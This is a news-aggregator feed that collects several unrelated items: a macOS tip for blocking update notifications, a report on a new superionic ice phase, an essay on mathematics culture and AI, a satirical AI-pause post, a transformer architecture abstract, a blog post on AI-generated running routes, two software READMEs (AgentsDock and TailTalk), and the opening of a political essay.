zoey-on-github.github.io
2026-09-12 21:12:07
Comments...
Original Article

a while ago, I read rob’s amazing article on blocking updates to macOS tahoe .
as great as this is, it(like stated in the article) only works for 90 days, after which you’ll have to do it again
i sent this article to a friend of mine and they showed me a much better way of stopping update notifications

sudo defaults write com.apple.MobileAsset MobileAssetAssetAudience -string 92897351-9c90-4132-84a8-2c4b3b5fced5
sudo defaults write com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate -string "https://swscan.apple.com/content/catalogs/others/index-seed-26-15-14-13-12-10.16-10.15-10.14-10.13-10.12-10.11-10.10-10.9-mountainlion-lion-snowleopard-leopard.merged-1.sucatalog.gz"
sudo killall -HUP mobileassetd
sudo killall -HUP betaenrollmentd

the way this works is by the update catalog to an invalid value

if you ever want to update your mac again,

sudo defaults write com.apple.MobileAsset MobileAssetAssetAudience -string 60b55e25-a8ed-4f45-826c-c1495a4ccc65
sudo defaults write com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate -string "https://swscan.apple.com/content/catalogs/others/index-26-15-14-13-12-10.16-10.15-10.14-10.13-10.12-10.11-10.10-10.9-mountainlion-lion-snowleopard-leopard.merged-1.sucatalog.gz"
sudo killall -HUP mobileassetd
sudo killall -HUP betaenrollmentd

Scientists Create a New Form of Ice at More Than 2000°C

Hacker News
www.sciencealert.com
2026-09-12 21:12:04
Comments...
Original Article

Water is one of the most commonplace, essential substances in the human world.

We literally can't function without its properties as a near-universal solvent . It falls from the sky. We bathe in it, drink it, and immerse ourselves in it for fun.

But if just considered as a liquid, water is extremely weird , behaving in ways completely at odds with other liquids. It becomes less dense when it freezes. Its surface tension is bizarrely high. So is its boiling point. And, based on its molecular weight, it should be a gas at room temperature.

And that's all at normal, ambient Earth conditions.

Tweak the pressure and the temperature a few notches, and water's outlandish behavior gets even more out of hand.

Scientists have now demonstrated one of the weirdest forms of ice yet – under preposterous pressures up to 2.3 million atmospheres, and tremendous temperatures up to 2,630 kelvins (2,357 degrees Celsius, or 4,274 degrees Fahrenheit).

YouTube Thumbnail

At those temperatures, you'd normally expect water to emphatically be a gas – even partially sundered into its constituent oxygen and hydrogen atoms. But something interesting happens at the astronomical pressures found deep inside planets.

When water transitions from a liquid to a gas, or vapor, it expands. Under crushing pressures of millions of atmospheres, this expansion is stymied. Instead, water can remain extraordinarily dense, taking on exotic forms unlike any ice we encounter at Earth's surface.

One of these is superionic ice – a deeply odd state of matter that's neither entirely solid nor entirely liquid. Its oxygen atoms remain fixed in a rigid crystal lattice, as they would in a solid. But the hydrogen nuclei are mobile, diffusing through that lattice more like particles in a liquid.

At slightly different sets of conditions, the arrangement of the oxygen atoms shifts into different configurations known as phases. There are some twenty-something known phases of water ice, a few of which become superionic under extreme conditions. Scientists are always looking for more.

And it's not just weirdness for weirdness's sake. Superionic ice is thought to exist deep inside Uranus and Neptune, where its unusual properties may play a role in generating the planets' equally unusual magnetic fields.

Scientists Create a New Form of Ice at More Than 2,000 °C
The oxygen-hydrogen do-si-do of superionic ice. ( Goran tek-en/Wikimedia Commons , CC BY-SA 4.0 )

In their new experiments, a team led by physicist Alexis Forestier of the French Alternative Energies and Atomic Energy Commission subjected tiny samples of water to the sorts of extreme conditions expected in the interiors of ice giant planets.

They squeezed the samples between the tips of diamonds to pressures as high as 230 gigapascals, while using lasers to heat them to thousands of degrees. That's 2.3 million times Earth's atmospheric pressure at sea level – the pressure at the center of Earth, for context, is around 360 gigapascals.

Then, using an extremely narrow beam of synchrotron X-rays, they probed for changes in the crystal structure of the ice.

What emerged was a configuration predicted theoretically but never unambiguously observed in experiments: hexagonal close-packed, or hcp, ice. As the hcp crystal was heated, its expansion also showed a signature of superionic behavior, suggesting it entered the superionic state at around 1,700 kelvins.

The name refers to the arrangement of the oxygen atoms. Imagine you're packing identical balls in layers; there are a number of different ways those layers can be stacked while packing the balls as tightly as possible.

Scientists Create a New Form of Ice at More Than 2,000 °C
The conditions under which the researchers observed the new hcp ice phase (filled triangles and filled circles) show its emergence at extreme pressures and temperatures. (Forestier et al., Phys. Rev. Lett. , 2026)

One previously identified form of superionic ice has a face-centered cubic, or fcc, structure.

In the newly identified hcp ice, the layers are stacked in a different sequence. The researchers found evidence that one can transform into the other as the layers shift position.

This transformation seems to occur as conditions grow more extreme.

At 155 gigapascals and 2,000 kelvins, the signal observed from the X-ray probe was a mix of fcc and hcp.

Dialing up to 197 gigapascals and 2,250 kelvins, the hcp signature became stronger relative to fcc.

By the final set of conditions – 219 gigapascals and 2,630 kelvins – the fcc signature had almost vanished, and hcp clearly dominated.

Intriguingly, this may not have been the first time the researchers had produced hcp ice.

Subscribe to ScienceAlert's free fact-checked newsletter

Looking back at data from an earlier experiment, they realized that a previously unidentified X-ray diffraction peak observed above 130 gigapascals was likely the signature of hcp ice – they just hadn't recognized it at the time.

Their results suggest that, at pressures above around 200 gigapascals, hcp may become the more stable arrangement of superionic ice.

It seems like a relatively small change – literally on the atomic scale – but the difference could mean big things for the Solar System.

If hcp ice conducts electricity differently from fcc ice, its presence deep inside Uranus and Neptune could change models of how material and electrical charge move through their interiors – processes thought to be involved in generating the planets' strange, messy, lopsided magnetic fields .

Scientists Create a New Form of Ice at More Than 2,000 Degrees
The researchers made ice that's hotter than lava. (jhorrocks/E+/Getty Images)

We don't actually know about the properties of hcp ice yet, though. The stuff has only just been discovered.

The researchers invite further theoretical work to tease apart those properties – especially its mechanical plasticity and electrical conductivity.

Related: Scientists Just Made 'Superionic Ice' That's Solid And Liquid at The Same Time

Further experiments will also be needed to pin down exactly where, across the extremes of pressure and temperature, hcp ice is stable relative to its fcc counterpart.

Water is really weird, and superionic ice is even weirder.

Scientists have only just scratched the surface of what this strange molecule can do; in a way, it feels fitting that we need to rely on it to stay alive.

Stay frosty, water. Or hot. You do you.

The findings have been published in Physical Review Letters .

This article was fact-checked by Rachel Garner and edited by Rebecca Dyer . While we pride ourselves on our process, we are only human. If you spot a mistake, please let us know .

Align AI and Mathematics–To Something Else

Hacker News
liorpachter.wordpress.com
2026-09-12 20:47:48
Comments...
Original Article

Twenty five Fields medalists were initial signatories of the letter “ A Severe Misalignment of AI in Mathematics ” in which they opine that “The goals of the AI companies and the goals of the mathematical community are severely misaligned”. They are right.

As they say, the goals of AI companies do not seem to be aligned with “the primary goal of conceptual understanding and insight”, and indeed, the “solutions [by AI companies] are [being] announced in a rush, leaving no time for a proper writeup, the isolation of new methods and ideas, and citing relevant previous work of others.” This is true (but ironically, the signatories themselves say they released their letter quickly because they “did not have the time to have a more consultative process.”)

It is also true that the goals of the mathematics community do not seem to be aligned with “the primary goal of conceptual understanding and insight”. This is clear, because if that were the goal, then the mathematics community would hold the view that “the most precious resources of [its] profession are students and ideas”, and that they would be “nurture[d] with great care”. But sadly students and ideas in mathematics have not been nurtured with great care.

Since the letter by the twenty five Fields medalists seems to have been precipitated by the OpenAI announcement a solution to the Navier Stokes existence and smoothness problem , let’s take a look at how the mathematics community has nurtured some of the students who worked in that area, and their foundational ideas.

  • Juliusz Schauder ( Leray–Schauder degree ): Schauder earned his doctorate in 1923, but antisemitism (by mathematicians) resulted in denial of university positions . Instead he taught high school while producing serious math. A few years later after the Nazis rose to power, Schauder asked for help from mathematicians around the world, and yet numerous mathematicians declined to help. He tried to get an invitation from Princeton and was denied. This wasn’t just a matter of getting a salary. His life was in danger. Eventually he did not even have access to paper to write down his work and he was murdered by the Germans. His wife Emilia hid with their daughter, for a while living in sewers to survive. Emilia was eventually captured and then murdered in a concentration camp. Was this “nurture with great care”?

    Oh, you say, but this was a long time ago !

  • Olga Ladyzhenskaya ( Ladyzhenskaya inequality ): By the late 1950s Ladyzhenskaya was a leading mathematician in PDEs and fluid mechanics. In 1958 she proved global existence and uniqueness for the two-dimensional Navier–Stokes equations using what is now known as the Ladyzhenskaya inequality. This work became foundational to Navier–Stokes theory. That same year, at age 36, she was shortlisted for the Fields Medal but was passed over for Klaus Roth and René Thom.

    Oh, you say, but the Fields medal is merit based!

    Records of the 1958 Fields committee document that its decisions were not solely merit based. Friedrich Hirzebruch, the favorite, was eliminated because he apparently was doing fine and did not need further encouragement, while the committee agreed that Alexander Grothendieck was the most talented after Hirzebruch but figured he could win later. It would take another fifty-six years until the first woman, Maryam Mirzakhani, received a Fields Medal (notably out of the 25 Fields medal signatories only one is a woman). Was this “nurture with great care”?

    Oh, you say, but things have changed !

  • Karen Uhlenbeck ( Geometric analysis and nonlinear PDE ): In 2019, Uhlenbeck became the first woman ever awarded the Abel Prize. But after receiving a PhD in 1968 and holding temporary positions at MIT and Berkeley, Uhlenbeck applied for jobs and was told matter of fact that “ people did not hire women ” and that women were supposed to “go home and have babies.” MIT, Stanford, and Princeton were interested in hiring her husband but not her. She was told that “nepotism rules” prevented the universities from hiring her (she examined this years later and the supposed rules could not be found). She eventually obtained a position at the University of Illinois at Urbana–Champaign, which she described as follows: “I hated Champaign-Urbana—I felt out of place mathematically and socially”. Was this “nurture with great care”?

    Oh, you say, but that’s just a single example.

  • Cathleen Morawetz ( nonlinear PDE and fluid dynamics ): Morawetz was one of the leading mathematicians in nonlinear PDE and fluid dynamics. That’s not quite Navier-Stokes but adjacent. She was the first woman to direct the Courant Institute, president of the AMS, and the first woman mathematician awarded the U.S. National Medal of Science. When she raised the issue of how few women there were in mathematics before an American Mathematical Society governing body, Saunders Mac Lane replied, “Well, mathematics is a very difficult subject.” Was this “nurture with great care”?

Of course every mathematician knows that the mathematics community does not nurture with great care all of its students and ideas. This is not a secret and it’s not an open secret. It’s just common knowledge. In the mathematics department at UC Berkeley, where I worked for 18 years, the department went from barring Julia Robinson ( Hilbert’s tenth problem ) from teaching mathematics for 35 years (also using the nepotism rule as an excuse and agreeing to appoint her only after she was elected to the National Academy of Sciences in 1976) to hiring Yuval Pere s (Berkeley math professor ~2001 – 2011). A particularly shocking detail about Robinson is that she was required to document to the personnel office exactly what she worked on every single day (!) In Peres’ case eventually mathematicians publicly described at least seven cases or reports involving junior women, some of whom reportedly avoided conferences or lectures to escape his repeated advances. It was not surprising to me that just three years after I arrived at the UC Berkeley math department, the department lost an important NSF grant specifically due to poor student mentorship . And it’s outrageous that there is still a prominent faculty member at UC Berkeley (now emeritus) who even today insists there is no, and never has been, sexism in mathematics .

One of the defining moments for me in the department was when a graduate student who I knew only in passing, came to my office in tears to tell me “I’ve just been told I’m stupid” (she is now a very successful professor of mathematics). I’d heard this insult made many times in the department. Once at a faculty meeting a senior professor was asked what he was doing to help one of his graduate students who was in his 9th or 10th year. The reply was “I’m doing nothing. He’s stupid”. These are not isolated anecdotes. Many mathematicians have experienced rejection not only of their ideas, but of themselves. Perhaps one of the most egregious examples is Yitang Zhang who was told by his advisor “ no Chinese student is good “. Was this “nurture with great care”?

I found it interesting that the 25 primary signatories on the “ A Severe Misalignment of AI in Mathematics ” signed the letter with “Fields medalist” in parenthesis. Why not their affiliation, or email address? Did they highlight that they are Fields medal winners to imply that the honor bestows upon them some kind of authority on the mathematics community? Sure- they all did some incredibly important mathematics and were recognized based on extraordinary mathematical ability. But receipt of a Fields Medal also depends on the judgments of a tiny group about which problems, fields, and styles of mathematics deserve recognition. Erdős remarked that “ Szemerédi should have gotten a Fields Medal. [But] the people who decide are not that interested in combinatorics .” Indeed, prizes encode judgments about which mathematics, and therefore which mathematicians, matter. But regardless of Fields medal politics, the point is that mathematical ability is not the same as mathematical responsibility. Perhaps instead of foregrounding Fields medalists in a letter about “alignment,” it would have been more illuminating to hear from mathematicians whose careers were derailed by lack of mentorship and nurturing .

So yes, there is severe misalignment of AI in mathematics. But alignment of AI with the existing mathematics community should not be the goal. The history of mathematics gives us little reason to treat the profession’s existing incentives, hierarchies, and institutions as a model. AI companies and mathematicians should instead be asking what both ought to be aligned to : understanding, attribution, intellectual generosity, and the nurturing of students and ideas, and not merely the production or recognition of results.

Everyone should slow down AI development except for me

Hacker News
xeiaso.net
2026-09-12 20:30:44
Comments...
Original Article

Published on , 337 words, 2 minutes to read

An image of A cyberpunk city recreated through triangle primitives
A cyberpunk city recreated through triangle primitives - Final Fantasy XIV screenshot passed through Primitive

The power of science is staggering! Every day we're making new advancements in the field of generative artificial intelligence via judicious application of large language model inference technology. However, as we approach the next critical threshold in capability, we must look forward to ensure that we're not inadvertently creating a bad user experience in the form of mass societal collapse due to our technology replacing organic contributions in the workplace.

As such, I am calling for the AI industry globally to pause all frontier model research and development. This will let Techaro's Lygma AGI lab catch up so we can dominate the world with our Intelliga series of models (where if you pay we remove the subliminal advertising that says being a catgirl is an ideal outcome).

We want to give people the ability to have cat ears and we believe that AGI is the only way to do it. Our plan is to invent artificial general intelligence and then ask it to figure out how to give people cat ears. I think that this is a flawless plan that has absolutely no downsides for anyone involved, and if we do this together, bro, we can absolutely make sure that AGI development happens at a pace that is easier to align with human oriented interests.

I also invite other leading AI companies to support this move, as it will ensure that AI remains a net force of good for the real thing that matters: the number of leading zeroes in Techaro's bank account. Don't believe the hype, the only thing that really matters is Techaro's FelonyBench score.

Hopefully by working together we can avoid an XK-class end of the world scenario caused by mankind's hubris; but at the very least we can ensure that we show pro-catgirl propaganda to everyone that really needs it. Hopefully we can make Mimi recursively self-improve in time for the global pause to end so Lygma is a competitive AGI lab.


Facts and circumstances may have changed since publication. Please contact me before jumping to conclusions if something seems wrong or unclear.

Tags:

Copyright 2012-2026 Xe Iaso. Any and all opinions listed here are my own and not representative of any of my employers, past, future, and/or present.

Served by xesite v4 (/app/bin/xesite) with site version 96289ffb , source code available here .

Recurrent Looped Transformer

Hacker News
yifanzhang-pro.github.io
2026-09-12 20:05:22
Comments...
Original Article

Abstract

Recurrent Looped Transformer (RLT) combines a causal encoder with a recurrent decoder that carries its final hidden state and layerwise sliding-window attention (SWA) cache across every prompt and response token. The encoder constructs global key–value memory; the decoder extends a continuous latent computation as the sequence grows.

The design brings together latent reasoning with unbounded temporal depth , model–hardware co-design , and model–RL algorithm co-design . Parallel encoder work, sequence batching, memory reuse, and checkpointing surround a recurrent core. Pretraining, SFT, sampling, and current-policy replay share the same complete-state transition.

Infinite depth refers to an extensible temporal path, not infinite work within a token. Realized reasoning gains, hardware efficiency, and RL scaling remain to be established.

Three design principles

01 / REASONING

Depth that grows with the sequence.

Each token extends the recurrent path through the full decoder. After \(t\) tokens, that path traverses \(tL_D\) decoder blocks while the per-token block count stays fixed.

02 / HARDWARE

Parallel work around a recurrent core.

Batch known-token encoder work and independent decoder updates. Reuse weights and memory, and checkpoint activations while preserving the reference computation.

03 / RL

One transition from sampling to replay.

Rebuild the full history under current parameters, including prompt states and decoder SWA KV. Keep recorded behavior probabilities tied to the actual sampler.

The complete state matters.

Causal encoder Known-token parallelism · global KV memory

Recurrent decoder Encoder cross-attention · local decoder SWA

Carry forward: recurrent output + decoder SWA KV

The previous output enters the next merge. Each SWA layer reads its own recent keys and values.

Prompt and response share one state transition. Encoder memory is prefix-restricted; decoder attention respects its local window. Neither decoder state component resets at the serving boundary.

\[H_t=(s_t,C_t^D),\qquad H_0=(s_\star,\varnothing).\]

\[(s_t,C_t^D)=D_\phi\!\left(\operatorname{Merge}(e_t,s_{t-1});M_{\le t},C_{t-1}^D,t\right).\]

\[p_\Theta(x_{t+1}\mid x_{1:t})=\operatorname{softmax}\!\left(W_o\operatorname{RMSNorm}_o(s_t)\right)_{x_{t+1}}.\]

Here \(M_{\le t}\) is global encoder memory, \(s_t\) is the recurrent output, and \(C_t^D\) contains layerwise decoder KV. A SWA window of \(W\) includes the current token and retains at most \(W-1\) historical entries for the next update.

The concrete configuration uses 48 encoder layers and 48 decoder layers , with compatible attention and FFN weights shared across stages. The temporal path traverses \(48t\) decoder blocks after \(t\) tokens. Each token executes 96 logical blocks; decoder cross-attention means these blocks do not all have equal FLOPs.

One execution across training and inference

Known tokens can be encoded in a causal batch. Decoder updates still proceed in token order, constructing both recurrent outputs and decoder SWA caches.

Reference execution schedules
Mode Encoder Decoder
Prompt prefill Causal batch Update complete state through every prompt token.
Generation Incremental Sample from the preceding state, then consume each token exactly once.
Pretraining Causal batch Full BPTT over all valid next-token targets.
SFT Causal batch Assistant-target loss; all context tokens update differentiable state.
RL replay Rebuild with current weights Replay the complete history and SWA caches; score each action before consuming it.

Forward consistency and complete gradients are separate requirements. Full BPTT includes paths through recurrent outputs, decoder KV, and encoder memory. Detaching any of these changes the gradient. Parameter updates invalidate old caches for exact current-policy replay.

Behavior log-probabilities must describe the actual sampling distribution. Exact importance sampling additionally requires support coverage. Shared transitions remove structural prompt-boundary mismatch; numerical kernel parity and off-policy estimation remain separate concerns.

For the execution-level distinction, see the prefill–decode kernel mismatch note .

Read the full report ↗ 阅读中文论文 ↗

Citation

If you find this work useful, please cite:

@techreport{zhang2026recurrentlooped,
  title  = {Recurrent Looped Transformer},
  author = {Zhang, Yifan},
  year   = {2026},
  month  = sep,
  url    = {https://github.com/yifanzhang-pro/recurrent-looped-tranformer}
}

Generating running routes with GPT-6 Astra and ChatGPT Work

Simon Willison
simonwillison.net
2026-09-12 19:56:42
Here's a neat thing I had ChatGPT Work with GPT-6 Astra (Max) do this morning: I live at <my address>. Figure out 5K and 10K running routes from me that loop from my house. Use OSM data. It worked for 27 minutes and produced exactly what I'd asked for, as both an embedded visualization and d...
Original Article

12th September 2026

Here’s a neat thing I had ChatGPT Work with GPT-6 Astra (Max) do this morning:

I live at <my address>. Figure out 5K and 10K running routes from me that loop from my house. Use OSM data.

It worked for 27 minutes and produced exactly what I’d asked for, as both an embedded visualization and downloadable GPX file and GeoJSON files. Here’s that 5K route:

Map screenshot showing a blue route line over a light grey street map. Text: El Granada harbor loop 5.1 km. N ↑ (top right). Street labels along the route: Carmel Avenue, Paloma Avenue, San Carlos Avenue, Avenue Granada, Capistrano Road, Francisco Street, Coastal Trail. The loop runs from the harbor at the bottom left, north along Avenue Granada and Paloma Avenue to a northern point near Carmel Avenue, then east along San Carlos Avenue and south down Francisco Street to the far right, before returning west along the Coastal Trail beside the coastline. Footer: Map data © OpenStreetMap contributors. Give feedback.

When I asked it how it had created the route, it replied:

I used Nominatim to locate the address and Overpass to download local OpenStreetMap roads and trails , then calculated the loops locally.

Frustratingly, the actual code it ran and exact details of what it did weren’t visible to me in the ChatGPT UI. I see this lack of transparency is an anti-feature.

By the time I thought to ask for a copy of the Python code it had used, ChatGPT was unable to provide it. This appears to be because the thread had been compacted. I think any LLM system that uses compaction needs to both preserve the pre-compacted text and make that text available via agent tool calls, to protect against this kind of problem.

As for displaying the map to me, that used the visualize skill . It created a file called /workspace/el-granada-5k-share.html to embed directly into the ChatGPT UI.

Here’s a copy of that HTML , which starts like this:

<div id="eg-share-loop">
  <div class="viz-row"><h3>El Granada harbor loop</h3><span class="text-small">5.1 km</span></div>
  <div id="eg-share-stage"></div>
  <div class="text-small text-muted">Map data © <a href="https://www.openstreetmap.org/copyright" target="_blank" rel="noopener">OpenStreetMap contributors</a></div>
  <style>
    #eg-share-loop { width:100%; }
    #eg-share-loop #eg-share-stage { width:100%; margin:8px 0; }
    #eg-share-loop .eg-share-map { display:block; width:100%; touch-action:none; }
    #eg-share-loop .eg-share-map text { fill:var(--foreground); font-size:12px; font-weight:400; }
    #eg-share-loop .eg-share-label { paint-order:stroke; stroke:var(--background); stroke-width:3px; stroke-linejoin:round; }
  </style>
  <script type="application/json" id="eg-share-data">{"route":{"type":"LineString","coordinates":[[-122.467425,37.4997753] ...</script>
  <script src="https://cdn.jsdelivr.net/npm/d3@7.9.0/dist/d3.min.js"></script>
  <script>
  (() => {
    const root=document.getElementById('eg-share-loop');

The <script type="application/json"> element contains the full geometry needed to render both the running route and the map itself, using D3, which is loaded from an allow-listed CDN location described in this section of the visualize skill :

External resources

  • The CSP allows only cdnjs.cloudflare.com , esm.sh , cdn.jsdelivr.net , unpkg.com , fonts.googleapis.com , fonts.gstatic.com , and fonts.bunny.net . Other origins are blocked and fail silently.

AgentsDock: An IDE designed for agentic AI research

Hacker News
agentsdock.net
2026-09-12 19:45:58
Comments...
Original Article

AgentsDock desktop app showing a Codex chat with model training results, a files and media grid of plots, and the session inspector panel

AgentsDock iPhone app showing the chat list with a connected Mac Mini server and recent Claude and Codex sessions

Trusted by researchers at

Carnegie Mellon University UC Berkeley NVIDIA

How it works

  • 1 Set up your server with a few simple commands
  • 2 Access the server from any device
  • 3 Have your agents do research and model training for you

Read the full setup guide

We support:

  • Tailscale (optional)
  • tmux (optional)
# 1 · Install the AgentsDock server
$ git clone https://github.com/ZhengyiLuo/AgentsServer.git
$ cd AgentsServer
$ ./install.sh

# 2 · Launch the app and paste your server URL
$ open -a AgentsDock

Built for AI researchers

A dock for all your agents

Chat with different agents — Claude Code, Codex, and more — side by side in one place.

Connect multiple servers, from any device

Your lab workstation, your Mac mini at home, a rented GPU box — connect them all and switch between them anytime, from every device you own.

View and edit code

Open, edit, and syntax-highlight files on your remote — no separate editor needed.

Full terminal access from anywhere

Attach to your chat's persistent tmux session from any device — the same shell, everywhere.

Check video job results

Agents return plots, images, and rendered rollouts inline — review a run's real output right in the chat.

Loading current release

Bring your agents into the Dock.

Install the desktop client, connect it to your AgentsDock server, and keep Claude and Codex available from every machine you use.

See all release versions

No Atlantic hurricanes by Sept. 12 breaks a 60-year record

Hacker News
www.accuweather.com
2026-09-12 19:44:44
Comments...
Original Article
Timed out getting readerview for https://www.accuweather.com/en/hurricane/no-atlantic-hurricanes-by-sept-12-breaks-a-60-year-record/1932278

TailTalk: A modern async user space AppleTalk stack with Rust and Tokio

Hacker News
github.com
2026-09-12 19:43:31
Comments...
Original Article

Crates.io docs.rs

TailTalk is designed as a "toolkit" for building fully userspace AppleTalk implementations on Linux, Mac OS and Windows systems via EtherTalk or LocalTalk networks. It is built from scratch with zero dependencies on Netatalk or any kernel drivers - All it needs is a raw socket and/or TashTalk compatible device (for LocalTalk) and patience for grumpy old computers. It provides a complete AppleTalk stack, with multiple copies of it able to run on the same machine at the same time.

I started this project to be able to copy files to/from my old Macs, print to LaserWriters, ImageWriters and networked StyleWriters, and be able to write modern async software to communicate with them. Currently TailTalk only works in a routerless setup - work is in progress to make it gracefully join router present networks but it is not yet in the mainline code.

Each part of the stack is meant to be as "zero config" as possible, just like running on a Mac of the era. Just plug it in, launch and things should just work without any fuss.

This project is very much a work in progress prototype, so expect bugs and missing features.

TailTalk GUI

This is the current user facing program for use with TashTalk USB. It includes an AFP server which should work with just about every Mac that shipped with a LocalTalk port. It also can import Stuff-It archives and floppy disk images and load them in to the share path preserving the resource forks and make them available to remote clients.

It additionally supports sharing LocalTalk capable LaserWriters, ImageWriters and StyleWriters to modern networks as AirPrint / IPP printers, and sharing modern printers to classic Macs. The latest release can be found here:

https://github.com/FeralFirmware/TailTalk/releases/latest

Features

Packet parsers and fully async APIs for almost all the major AppleTalk protocols.

  • AppleTalk Address Resolution Protocol (AARP)
  • Datagram Delivery Protocol (DDP)
  • Name Binding Protocol (NBP)
  • AppleTalk Transaction Protocol (ATP)
  • Printer Access Protocol (PAP)
  • AppleTalk Session Protocol (ASP)
  • AppleTalk Filing Protocol (AFP)
  • AppleTalk Data Stream Protocol

It additionally supports running with TashTalk for LocalTalk Macs.

The AARP/DDP underlay can run either in-process (the default) or in a shared daemon, tailtalkd , which owns the interfaces and serves DDP sockets, addressing, and routing rules to multiple clients over a protobuf protocol on a Unix or UDP socket — usable from TailTalk ( TalkStack::builder().daemon_unix(..) ) or plain C clients. See docs/daemon-protocol.md .

Building

Prerequisites

This project requires Rust 1.90 or above, which can be installed from rustup.rs . This should install a matching compiler for your OS and CPU architecture by default.

This project uses cargo-packager for building AppImage for Linux, and App bundles for macOS and installers for Windows. Install it with cargo install cargo-packager .

Windows Only

Ensure you have the Windows MSVC prerequisites installed as specified in the rustup book .

Windows requires the npcap SDK to be saved somewhere on your machine. It is available at npcap.com . Point a LIB environment variable to the folder where you unzipped the SDK, such as: C:\npcap-sdk-1.13\Lib\x64

Running the build

Once the prerequisites are installed, run cargo build --release from the root of this repository to build everything, or for just the TailTail GUI run cargo build -p tailtalk-gui --release .

After building the binaries should be located at target/release/ .

Then run the following based on your OS:

# Linux
cargo packager --release -f appimage -p tailtalk-gui
# macOS
cargo packager --release -p tailtalk-gui
# Windows 
cargo packager --release -f nsis -p tailtalk-gui

The resulting bundle will be placed in dist/.

TashTalk USB

Quick start guide: Setup.md

TashTalk USB uses a Silicon Labs CP210x USB-to-UART bridge (VID 10c4 , PID ea60 ).

Linux

The cp210x kernel module is likely installed already but by default the device node is only accessible by root. To grant your user access without requiring root, create a udev rule:

echo 'SUBSYSTEM=="tty", ATTRS{idVendor}=="10c4", ATTRS{idProduct}=="ea60", TAG+="uaccess"' \
  | sudo tee /etc/udev/rules.d/99-tashtalk-usb.rules
sudo udevadm control --reload-rules && sudo udevadm trigger

After running these commands, unplug and re-plug the TashTalk USB device. It will appear as /dev/ttyUSB0 (or similar) and be accessible without root.

Windows

Install the CP210x VCP Windows driver from Silicon Labs .

Install npcap 1.88 from npcap.com

MacOS

macOS 11 and later includes support for the CP2102N USB chip out of the box. For 10.12 through 10.15 the driver from Silicon Labs is required for the device to be recognised: https://www.silabs.com/software-and-tools/usb-to-uart-bridge-vcp-drivers?tab=downloads

EtherTalk

EtherTalk is compiled into the GUI by default on macOS, where libpcap ships with the OS. On Linux and Windows it is opt-in: build with cargo build -p tailtalk-gui --features ethertalk once libpcap ( libpcap-dev ) or the npcap SDK is installed.

macOS

Packet capture and injection go through /dev/bpf* , which is root-only out of the box. To use EtherTalk as a regular user, install the ChmodBPF package that ships inside the Wireshark disk image (or run brew install --cask wireshark-chmodbpf ). It creates an access_bpf group, hands the BPF devices to it, and adds you to the group.

Group membership only applies to new login sessions, so log out and back in afterwards. Until then, and if ChmodBPF is not installed at all, the GUI hides the Ethernet Interface picker rather than offering a transport that would fail to start.

Existing Programs

There are 4 demo programs I have written to verify the functionality of this software as I have developed it:

  • aep-echo - A simple echo program that sends an echo request to a target address and prints the response time.
  • afp-server - An AFP 1.0, 1.1 and 2.0 compatible AFP server. Very much a work in progress but is capable of reading and writing files to classic Mac systems. Basic directory browsing and file operations are supported.
  • nbp-lookup - Performs an NBP lookup based on the provided request string and returns the results
  • pap-print - Sends a PostScript file to a PAP printer. Aimed at LaserWriters, and have only tested on my own 4/600 PS.
  • tailtalkd - The TailTalk underlay daemon. Owns the physical AppleTalk interfaces and serves DDP sockets, addressing, and routing to client applications over a Unix/UDP socket.
  • tailtalk-gui - A simple GUI for sharing a folder as a volume over EtherTalk and/or LocalTalk (via TashTalk).

All of the examples run a complete copy of the stack using a raw socket (if EtherTalk is enabled) and thus need to be run as root, or the appropriate setcap applied to the compiled binary (on macOS, ChmodBPF instead, see EtherTalk ). If only using TashTalk then this is not required.

Testing

Beyond unit tests I have found the best way to test this software is with real hardware. My current test setup consists of:

  • Linux machine running TailTalk
  • PowerBook G3 running Mac OS 9.2 via Ethernet
  • LaserWriter 4/600 PS via AsanteTalk
  • Color StyleWriter 2200 via EtherTalk adapter
  • ImageWriter II with the LocalTalk Option Card
  • Macintosh SE/30 running System 7.1 via AsanteTalk
  • Macintosh Classic running System 6.0.8 via AsanteTalk

AsanteTalk

When the AsanteTalk is first powered on it "listens" for incoming packets on the Ethernet side before choosing what EtherTalk phase to operate under. If it doesn't see any EtherTalk Phase 2 packets it will default to Phase 1. TailTalk supports Phase 1 and this works just fine for LaserWriters, NBP and some basic operations but does not work with AFP (The Mac will discover the AFP TailTalk server but our responses appear to be dropped).

Contributing

I'd love to see this project grow into something that can be used to build more complete AppleTalk implementations. All contributions are welcome, but please open an issue first to discuss the changes you'd like to make. Additionally Pull Requests should mention what systems the change was verified against. This project has made me realise how quirky old systems are.

License

This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.

How Status Quo Democrats Could Create Another Trump

Portside
portside.org
2026-09-12 19:09:06
How Status Quo Democrats Could Create Another Trump Dave Sat, 09/12/2026 - 19:09 ...
Original Article

When I look back on all of my work over the last 30 years, one of the projects I’m most proud of is Meltdown , an audio series I did in 2021 with acclaimed director Alex Gibney that reveals the untold story of how Obama-era Democrats turning promises of economic hope and change into more of the same created the backlash conditions for the rise of Donald Trump.

It is a miracle Meltdown ever got made, because calling its tale “untold” is an understatement. The story of Obama’s 2008 victory concluding with Trump’s 2016 win involves a sequence of economic facts and events that have been suppressed, shadowbanned, memory-holed, and censored from America’s political conversation. This is particularly true in media outlets that serve liberals, who seek comfort in the idea that Trump is an anomaly rather than a symptom of something their own political party participated in creating.

Every now and again, there are attempts to warn about this perpetual doom loop. Gibney and I did so ourselves after Meltdown debuted in the pages of Rolling Stone , where we cautioned against Democrats coming into office promising big New Deal-style economic changes, then mostly delivering only for their big donors. We warned that such a bait-and-switch would result in the inevitable backlash from disillusioned voters who would ignore syrupy odes to restoring democratic “norms” and decide once again to vote for a Joker-style candidate like Trump promising to blow up the entire system.

The piece went viral, but the message went largely unheard amid Democratic politicians and pundits insinuating that voters were insufficiently grateful for Joe Biden’s allegedly wonderful economy.

Fast forward five years and we are on the verge of the 2028 Democratic presidential primaries. For the most part, Democrats and their media outlets are still soothing themselves with the fraudulent story of Trump as an anomaly rather than a symptom and still promoting the politics of restoration rather than transformation. Indeed, the over-the-top celebration of Barack Obama’s new $800 million monument to himself was an example of this desperate pining for a return to a pre-Trump normal — even though that “normal” was what created Trump in the first place, and even though restoring such a “normal” could create the conditions for an even worse Trump in the future.

So it is time for another alarm to sound — and thankfully, a new paper has provided one. And this particular warning is backed by reams of economic data.

The Doom-Loop Data

The paper from researchers at the Institute for New Economic Thinking is entitled “A Revolution of Falling Expectations: The Macroeconomic Roots of Popular Discontent.” It’s a wonky title that undersells what it is trying to warn us about.

